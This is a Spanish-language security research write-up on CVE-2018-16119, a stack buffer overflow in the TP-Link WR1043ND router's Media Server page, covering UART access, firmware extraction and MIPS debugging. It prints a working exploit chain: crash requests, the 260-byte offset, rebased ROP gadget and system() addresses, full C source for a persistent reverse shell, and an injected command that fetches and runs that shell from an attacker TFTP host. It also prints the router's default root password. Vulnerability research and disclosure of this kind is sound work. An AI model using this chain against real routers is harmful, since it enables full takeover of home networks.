/ 15 min de lectura
CVE-2018-16119: Ejecución remota de código en un router TP-Link

Introducción
Este post cuenta el descubrimiento del CVE-2018-16119 durante una investigación de vulnerabilidades sobre un router hogareño: el TP-Link WR1043ND. Presentamos los pasos para identificar la vulnerabilidad y cómo se puede explotar para lograr ejecución remota de código en el dispositivo.
El dispositivo
El dispositivo usado en esta investigación fue el router WiFi hogareño TP-Link WR1043ND (firmware versión 3.00).

Arrancamos con un pentest clásico de aplicación web buscando vulnerabilidades comunes en la interfaz de administración del dispositivo. La contraseña por defecto para acceder al panel de administración era admin:admin.

No encontramos nada interesante en los componentes por defecto del dispositivo, pero este router tiene una funcionalidad bastante curiosa. Cualquier propietario puede conectar un dispositivo externo al router y habilitar capacidades tipo NAS, una función muy interesante y clave en la campaña de marketing de productos de TP-Link.

Una vez conectado un dispositivo externo por el puerto USB, se puede usar la funcionalidad Media Server para crear y compartir carpetas/archivos a través de la red interna.
Descubrimiento de la vulnerabilidad
Cuando el dispositivo creaba una carpeta nueva, se enviaba el siguiente request:
GET /TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=%2Ftmp%2Fusbdisk%2Fvolume1&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htmCookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3DConnection: closeUpgrade-Insecure-Requests: 1Lo primero que notamos fue la string rara en la URL: TLROLZZBRWGYNWBA. Esta string actúa como un Session ID de usuario y se genera en cada login. Cualquier modificación de este “token” genera un logout y destruye la sesión del usuario.
Después de jugar con los parámetros, no pudimos abusar del request de Add New Folder para lograr el bug clásico de RCE, pero descubrimos que enviar una string larga de caracteres dentro del parámetro shareEntire hacía que la aplicación crasheara, la interfaz web dejaba de responder requests, e incluso el AP de WiFi dejaba de funcionar.
Request de crash:
GET /RRUJDHBBIZYEJLEA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htmCookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3DConnection: closeUpgrade-Insecure-Requests: 1
Después de este primer request, cualquier otra interacción falla al conectar con el servicio web, como se puede ver en los requests de curl siguientes.

Pensamos que este comportamiento podía estar relacionado con una vulnerabilidad de Buffer Overflow, así que decidimos profundizar un poco más en el problema. Surgió un nuevo obstáculo: para debuggear el crash necesitábamos una forma de ejecutar comandos en el dispositivo.
Acceso al dispositivo
No encontramos forma de lograr ejecución de comandos a través de la interfaz web, y tampoco pudimos conectarnos al dispositivo por SSH.
El segundo enfoque fue acceder por la interfaz UART de la placa. Esto requirió algo de soldadura menor, como se muestra en la siguiente imagen:

Después del trabajo de soldadura, pudimos acceder a la placa usando la interfaz UART de Shikra. Para eso usamos la siguiente documentación de PINOUT de UART y conectamos el Shikra al dispositivo.

El Shikra conectado al dispositivo se veía así:

Después de una conexión exitosa, el siguiente paso fue detectar la velocidad de comunicación. Para esto usamos Arduino IDE como GUI de la interfaz UART. Jugando con los baud rates, encontramos que el correcto era: 115200.

Información útil se imprimía en la interfaz UART mientras la placa bootaba, pero lo más importante fue la arquitectura del dispositivo: MIPS Big Endian.

Después del boot del dispositivo, esperábamos un intérprete de comandos del sistema sin protección, pero el dispositivo pidió usuario y contraseña.

Con este nuevo desafío, cambiamos el enfoque de la investigación. Descargamos el firmware original del dispositivo desde la base de datos de routers de DD-WRT:
https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2018/10-10-2018-r37305/tplink_tl-wr1043nd-v2/factory-to-ddwrt.bin
Con la ayuda de la herramienta Binwalk, pudimos extraer el filesystem del router.
Binwalk no funcionaba bien en Mac OSX, pero por suerte había un contenedor Docker bastante bueno para correr Binwalk sin problemas.


En este punto pudimos obtener el contenido del archivo /etc/shadow y conseguir la representación en texto plano del hash de la contraseña con la ayuda del buscador de Google.
Con esta información, pudimos loguearnos al dispositivo usando la interfaz UART y las credenciales: root:sohoadmin
Debugging del dispositivo
Lo primero que hicimos con este acceso fue revisar todos los procesos corriendo dentro del firmware y detectar el que controlaba la interfaz web. Como es común en este tipo de dispositivos, la aplicación que controlaba la aplicación web era el binario: /usr/bin/httpd
Era una aplicación que usa múltiples llamadas a fork para generar varios threads que controlan distintos aspectos del dispositivo. Nos enfocamos en el último PID de httpd: 548.


Para entender qué pasaba en el dispositivo cuando se enviaba el request de crash, necesitábamos una forma de debuggear el binario. Para esto es importante tener un gdbserver compilado para MIPS Big Endian. Hay distintas formas de conseguirlo, pero la más rápida es conseguir una versión ya compilada del repositorio de embedded-tools de Rapid7 en Github: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
Con el binario en mano, necesitábamos una forma de transferir el gdbserver al dispositivo. Por suerte, el firmware incluía un binario de TFTP que ayudó mucho en el proceso de subida y descarga de archivos.
Pudimos subir archivos a la placa usando un servidor TFTP y el siguiente comando en la shell de UART:
tftp -g -r gdbserver.mipsbe 192.168.0.100


Con el servidor gdb ya instalado, pudimos conectarnos al PID 548 de /usr/bin/httpd y enviar el request de crash para ver qué pasaba en memoria.
Como cliente de esta instancia de GDBServer, usamos IDA Pro v6.8 junto con el binario httpd obtenido del filesystem del firmware.
Para lograr esto, fue necesario seguir una serie de pasos:
- Conectar la computadora al ESSID del router
- Configurar el debugger de IDA para usar un gdbserver remoto en la barra principal y configurar la IP/puerto del GDBServer en Debugger -> Process Options

En este punto enviamos el request para generar el crash y, efectivamente, el registro $PC (equivalente MIPS a EIP/RIP) fue sobreescrito y pudimos modificar el flujo de ejecución del programa. Además, ganamos control sobre varios registros.

Jugando con el módulo pattern_create.rb de Metasploit Framework, pudimos determinar que la memoria empezaba a sobreescribirse después de un padding de 260 bytes. Después de ese padding, los registros empezaban a sobreescribirse en este orden: $s0, $s1, y $pc.
Tomamos este enfoque porque debuggear paso a paso para identificar dónde ocurrían las corrupciones de memoria era realmente laborioso debido a varios errores encontrados trabajando con GDB + IDA en este dispositivo MIPS (los recursos de memoria poco performantes del dispositivo congelaban el servidor de debugging varias veces durante el proceso, o el dispositivo simplemente dejaba de funcionar).
Superficie de ataque
En este punto teníamos un problema potencialmente explotable, pero para estar seguros de su explotabilidad necesitábamos investigar un poco más.
Primero, necesitábamos mapear la superficie de ataque. Antes de actuar, era importante determinar si el Stack y el Heap tenían privilegios de ejecución. Como se puede ver, ambos espacios de memoria permitían ejecución (carácter x en la tercera columna) tanto en el binario principal como en las librerías.

Lo segundo que necesitábamos saber era si el binario tenía ASLR activo. Pudimos determinar que el binario tiene ASLR Parcial activo, lo que significa que la aplicación va a randomizar solo el Stack y el Heap en cada ejecución. Sin embargo, las direcciones del segmento de código no están randomizadas y se pueden usar para armar una cadena ROP.

Además, era importante reconocer todas las librerías que usaba la aplicación en su ejecución y dónde empezaban a mapearse en memoria. Esta información nos ayudaría a rebasear la dirección de la librería y conseguir gadgets útiles para armar una cadena ROP.
Como se puede ver, hay varias librerías en uso, pero nos enfocamos en libuClibc-0.9.30.so, cuyo código de ejecución empezaba a mapearse en 0x2AAE2000.

Una buena idea en este punto fue descargar las librerías usadas por el binario para analizarlas después. Esto se puede hacer con los siguientes comandos:
tftp -p /lib/ld-uClibc-0.9.30.so 192.168.0.100tftp -p /lib/libpthread-0.9.30.so 192.168.0.100tftp -p /lib/libuClibc-0.9.30.so 192.168.0.100tftp -p /lib/libutil-0.9.30.so 192.168.0.100tftp -p /lib/libwpa_ctrl.so 192.168.0.100tftp -p /lib/librt-0.9.30.so 192.168.0.100tftp -p /lib/libmsglog.so 192.168.0.100tftp -p /lib/libgcc_s.so.1 192.168.0.100Lo último importante que había que hacer era aprender sobre la arquitectura del dispositivo, específicamente artículos sobre coherencia de caché:
- https://www.vantagepoint.sg/papers/MIPS-BOF-LyonYang-PUBLIC-FINAL.pdf
- http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Una nota rápida sobre coherencia de caché:
Básicamente, cuando se intenta ejecutar shellcode en el stack, la CPU va a revisar si ya tiene datos de esa dirección en su caché, lo que significa que si el shellcode tiene propiedades autoalterables como rutinas de decodificación (generalmente vamos a usar algún tipo de rutina de encoding para evitar badchars), las instrucciones codificadas van a terminar ejecutándose en lugar de las decodificadas, debido a la coherencia de caché de la arquitectura MIPS.
Escribiendo el exploit
En este momento tenemos dos enfoques posibles para explotar este tipo de dispositivo:
Enfoque 1: Evitar la [in]coherencia de caché y ejecutar shellcode
Para lograr Remote Code Execution con esta técnica, necesitamos seguir una serie de pasos:
- Disparar el bug
- ROP a Sleep(1) => Esto va a forzar al procesador a refrescar su caché (evitando la incoherencia de caché)
- Saltar al shellcode
- La primera parte del shellcode debe decodificar la parte que va a lograr la ejecución de código
- ROP a Sleep(1) de nuevo => Para refrescar la caché con el shellcode ejecutable ya decodificado
- Saltar al shellcode ejecutable
Esta es la forma tradicional de explotar buffer overflows en arquitectura MIPS, pero después de varios intentos decidimos descartarla porque obteníamos errores de instrucción ilegal cada vez que saltábamos al shellcode decodificado.
Enfoque 2: ROP hacia la syscall system
Forma alternativa de explotar este problema:
- Disparar el bug
- Conseguir un puntero a una string de comando => ya en memoria (.idata) o cargada por el payload (en el stack)
- ROP hacia la función system
Este enfoque funcionó increíblemente bien en este dispositivo. Fue mucho más simple de explotar y el código del exploit terminó siendo más reducido y limpio.
Desarrollo del exploit
Para explotar con éxito esta vulnerabilidad siguiendo el enfoque de ROP hacia la syscall system, es necesario seguir una serie de pasos.
Armar una reverse shell en C/C++ y compilarla para arquitectura MIPS Big Endian
Como queríamos usar un comando TFTP para descargar el shellcode, primero necesitábamos construir el shellcode.
Para esto usamos la siguiente reverse shell:
// Simple Persistent Reverse Shell// Compile for MIPSBE using the following steps:// 1) cp reverse_shell_mipsbe.c /tmp/// 2) docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash// Inside Docker:// 4) cd /tmp ; mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh// Outside Docker:// 5) cp /tmp/shh .#include <sys/types.h>#include <sys/socket.h>#include <sys/wait.h>#include <netinet/in.h>#include <arpa/inet.h>#include <errno.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
int main(){ int socket_info; int connectie; int pid; struct sockaddr_in aanvaller_info;
while(1) { socket_info = socket(AF_INET, SOCK_STREAM, 0); aanvaller_info.sin_family = AF_INET; aanvaller_info.sin_port = htons(3000); aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103"); printf("Set data.\n");
printf("Trying to perform a new connection\n"); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); while(connectie < 0){ printf("Connection Failed\n"); sleep(5); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); } connectie = write(socket_info,"Connection Completed\n",36); printf("Successful Connection\n"); pid = fork(); if(pid > 0){ printf("Forking Process\n"); wait(NULL); } if(pid == 0){ printf("Process Forked Successfully\n"); dup2(socket_info,0); // input dup2(socket_info,1); // output dup2(socket_info,2); // errors execl("/bin/sh", "/bin/sh", NULL); usleep(3000); } printf("The connection was closed, trying to reconnect...\n"); } return 0;}Para evitar los líos de la cross-compilación en C, usamos un docker ya armado para cumplir esa función: https://hub.docker.com/r/asmimproved/qemu-mips/
Copiamos el archivo reverse_shell_mipsbe.c a la carpeta /tmp/ y lo compartimos con docker para compilar el binario desde ahí:
Comandos:
# Outside Docker Container:docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
# Inside Docker Container:cd /tmpmips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shhexit
Con el binario ya compilado, copiamos el binario shh a la carpeta del servidor TFTP.
Disparar la vulnerabilidad, poner en el stack un comando encadenado para descargar la reverse shell desde el servidor TFTP del atacante y ejecutarla
Necesitábamos enviar un request que disparara el bug sobreescribiendo el registro $PC y, al final del payload, poner el siguiente comando en el stack:
tftp -g -r shh 192.168.0.103;chmod 777 shh;./shh
Fue un poco complicado porque el comando anterior necesitaba terminar con el opcode de fin de línea: \x00, que no se podía enviar vía un request HTTP. Esto nos obligó a usar padding que permitiera ubicar el comando en memoria relleno con \x00.

Mover la dirección del stack pointer donde está el comando TFTP al registro $a
En este punto necesitábamos poner la dirección del stack donde ubicamos el comando TFTP en el registro $a0, que se usa como primer argumento en la convención de llamadas de MIPS.
Para esto necesitábamos redirigir el registro $pc controlado hacia un gadget ROP que hiciera esta operación.
Antes de empezar a buscar gadgets útiles, necesitábamos rebasear las librerías usando la dirección donde el binario mapeaba el código ejecutable. Esto se podía hacer para determinar la posición real de un gadget en memoria, porque el sistema operativo del firmware no protegía las direcciones de memoria con ASLR.
Sabíamos que libuClibc-0.9.30.so empezaba a mapearse en la dirección 0x2AAE2000. Pudimos usar esta información para rebasear la dirección estática de esta librería y empezar a buscar gadgets que se pudieran reutilizar en la memoria real del binario.

Después de buscar un rato, encontramos el siguiente gadget en la librería libuClibc-0.9.30.so que no contiene badchars en su dirección: 0x2AAF84C0

Este gadget mueve la dirección $sp (que apunta a la string de comando) al registro $s2, y después salta a la dirección puesta en el registro $s0.
Como tenemos control sobre $s0, podemos usar un segundo gadget que mueve la dirección de $s2 a $a0 (primer argumento de cualquier función syscall en MIPS) y salta a la dirección puesta en el registro $s1.
ROP hacia system
El registro $s1 también está sobrecontrolado. Después de poner un puntero válido a la string de comando en el registro $a0 (argumento de la syscall), ahora podemos saltar usando el registro $s1 directamente a la dirección de la función system(): 0x2AB32150 (dirección rebaseada), que también está en la librería libuClibc-0.9.30.so.

Con la dirección $sp (stack pointer) ubicada en el registro $a0 y apuntando a la string de comando, procedemos a saltar a la syscall (system syscall) usando el registro $s1.
Si la cadena ROP se ejecuta con éxito, la syscall va a usar como parámetro el puntero a la string de comando, que va a descargar el binario de la reverse shell desde el servidor TFTP del atacante, darle permisos de ejecución y ejecutarlo.
Después de esto, solo quedaba esperar la reverse shell.

El resultado
Se puede encontrar un exploit completo para esta vulnerabilidad en el siguiente repositorio de GitHub: https://github.com/hdbreaker/CVE-2018-16119
El exploit demuestra la cadena de ataque completa, desde el descubrimiento inicial del buffer overflow hasta lograr ejecución remota de código a través de la explotación de la cadena ROP y el despliegue de la reverse shell en arquitectura MIPS.
Evaluación de impacto
Severidad: Crítica
- Vector de ataque: Red
- Autenticación: Requerida (Admin)
- Impacto: Compromiso completo
Versiones afectadas
- TP-Link WR1043ND firmware versión 3.00 y anteriores
- Potencialmente otros modelos de TP-Link con funcionalidad similar de Media Server
Referencias
- Detalles del CVE-2018-16119
- Aviso de seguridad de TP-Link
- Repositorio del exploit en GitHub
- Técnicas de cadenas ROP en MIPS
- Buenas prácticas de seguridad en routers
Investigación realizada por: el equipo de Volt AI
Estado de divulgación: Coordinado con el equipo de seguridad de TP-Link
Impacto: Parcheado en versiones posteriores de firmware